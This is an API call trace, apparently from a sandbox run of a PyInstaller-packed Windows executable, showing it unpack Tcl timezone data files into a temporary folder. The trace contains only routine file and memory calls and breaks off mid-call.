[0042.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.904] GetFileType (hFile=0x10c) returned 0x1 [0042.904] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.904] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.904] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.904] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.904] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.904] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.904] CloseHandle (hObject=0x10c) returned 1 [0042.905] GetLastError () returned 0x0 [0042.905] SetLastError (dwErrCode=0x0) [0042.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.905] GetFileType (hFile=0x10c) returned 0x1 [0042.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.905] CloseHandle (hObject=0x10c) returned 1 [0042.905] GetLastError () returned 0x0 [0042.905] SetLastError (dwErrCode=0x0) [0042.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT0") returned 61 [0042.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.905] GetLastError () returned 0x2 [0042.905] SetLastError (dwErrCode=0x2) [0042.905] GetLastError () returned 0x2 [0042.905] SetLastError (dwErrCode=0x2) [0042.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT0", lpFilePart=0x0) returned 0x3c [0042.905] GetLastError () returned 0x2 [0042.905] SetLastError (dwErrCode=0x2) [0042.905] GetLastError () returned 0x2 [0042.906] SetLastError (dwErrCode=0x2) [0042.906] GetLastError () returned 0x2 [0042.906] SetLastError (dwErrCode=0x2) [0042.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT0") returned 61 [0042.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt0"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.906] GetFileType (hFile=0x10c) returned 0x1 [0042.906] htonl (hostlong=0x95000000) returned 0x95 [0042.906] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.906] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x95, lpOverlapped=0x0) returned 1 [0042.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.907] CloseHandle (hObject=0x10c) returned 1 [0042.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.907] htonl (hostlong=0x30000000) returned 0x30 [0042.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.907] GetFileType (hFile=0x10c) returned 0x1 [0042.907] htonl (hostlong=0x62d35c00) returned 0x5cd362 [0042.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618362, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.907] htonl (hostlong=0x83000000) returned 0x83 [0042.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0042.907] htonl (hostlong=0x83000000) returned 0x83 [0042.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.908] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.908] htonl (hostlong=0x9a000000) returned 0x9a [0042.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x550600 [0042.908] htonl (hostlong=0x83000000) returned 0x83 [0042.908] htonl (hostlong=0x9a000000) returned 0x9a [0042.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.908] CloseHandle (hObject=0x10c) returned 1 [0042.908] GetLastError () returned 0x0 [0042.908] SetLastError (dwErrCode=0x0) [0042.908] GetLastError () returned 0x0 [0042.908] SetLastError (dwErrCode=0x0) [0042.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.908] GetFileType (hFile=0x10c) returned 0x1 [0042.908] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.908] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.908] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.908] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.908] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.908] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.908] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.908] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.908] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.909] CloseHandle (hObject=0x10c) returned 1 [0042.909] GetLastError () returned 0x0 [0042.909] SetLastError (dwErrCode=0x0) [0042.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.909] GetFileType (hFile=0x10c) returned 0x1 [0042.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.909] CloseHandle (hObject=0x10c) returned 1 [0042.909] GetLastError () returned 0x0 [0042.909] SetLastError (dwErrCode=0x0) [0042.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Greenwich") returned 66 [0042.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Greenwich" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\greenwich"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.909] GetLastError () returned 0x2 [0042.909] SetLastError (dwErrCode=0x2) [0042.909] GetLastError () returned 0x2 [0042.909] SetLastError (dwErrCode=0x2) [0042.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Greenwich", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Greenwich", lpFilePart=0x0) returned 0x41 [0042.910] GetLastError () returned 0x2 [0042.910] SetLastError (dwErrCode=0x2) [0042.910] GetLastError () returned 0x2 [0042.910] SetLastError (dwErrCode=0x2) [0042.910] GetLastError () returned 0x2 [0042.910] SetLastError (dwErrCode=0x2) [0042.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Greenwich") returned 66 [0042.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Greenwich" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\greenwich"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.911] GetFileType (hFile=0x10c) returned 0x1 [0042.911] htonl (hostlong=0x9a000000) returned 0x9a [0042.911] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.911] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9a, lpOverlapped=0x0) returned 1 [0042.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.912] CloseHandle (hObject=0x10c) returned 1 [0042.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.912] htonl (hostlong=0x30000000) returned 0x30 [0042.912] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.912] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.912] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.912] GetFileType (hFile=0x10c) returned 0x1 [0042.912] htonl (hostlong=0xe5d35c00) returned 0x5cd3e5 [0042.912] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6183e5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.912] htonl (hostlong=0x6e000000) returned 0x6e [0042.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6e) returned 0x55cfe0 [0042.912] htonl (hostlong=0x6e000000) returned 0x6e [0042.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.912] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.912] htonl (hostlong=0x6a000000) returned 0x6a [0042.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6a) returned 0x550600 [0042.912] htonl (hostlong=0x6e000000) returned 0x6e [0042.912] htonl (hostlong=0x6a000000) returned 0x6a [0042.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.912] CloseHandle (hObject=0x10c) returned 1 [0042.913] GetLastError () returned 0x0 [0042.913] SetLastError (dwErrCode=0x0) [0042.913] GetLastError () returned 0x0 [0042.913] SetLastError (dwErrCode=0x0) [0042.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.913] GetFileType (hFile=0x10c) returned 0x1 [0042.913] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.913] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.913] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.913] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.913] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.913] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.913] CloseHandle (hObject=0x10c) returned 1 [0042.913] GetLastError () returned 0x0 [0042.913] SetLastError (dwErrCode=0x0) [0042.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.913] GetFileType (hFile=0x10c) returned 0x1 [0042.913] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.913] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.914] CloseHandle (hObject=0x10c) returned 1 [0042.914] GetLastError () returned 0x0 [0042.914] SetLastError (dwErrCode=0x0) [0042.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\HST") returned 60 [0042.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\HST" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\hst"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.914] GetLastError () returned 0x2 [0042.914] SetLastError (dwErrCode=0x2) [0042.914] GetLastError () returned 0x2 [0042.914] SetLastError (dwErrCode=0x2) [0042.914] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\HST", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\HST", lpFilePart=0x0) returned 0x3b [0042.914] GetLastError () returned 0x2 [0042.914] SetLastError (dwErrCode=0x2) [0042.914] GetLastError () returned 0x2 [0042.914] SetLastError (dwErrCode=0x2) [0042.914] GetLastError () returned 0x2 [0042.914] SetLastError (dwErrCode=0x2) [0042.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\HST") returned 60 [0042.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.914] CreateFileW 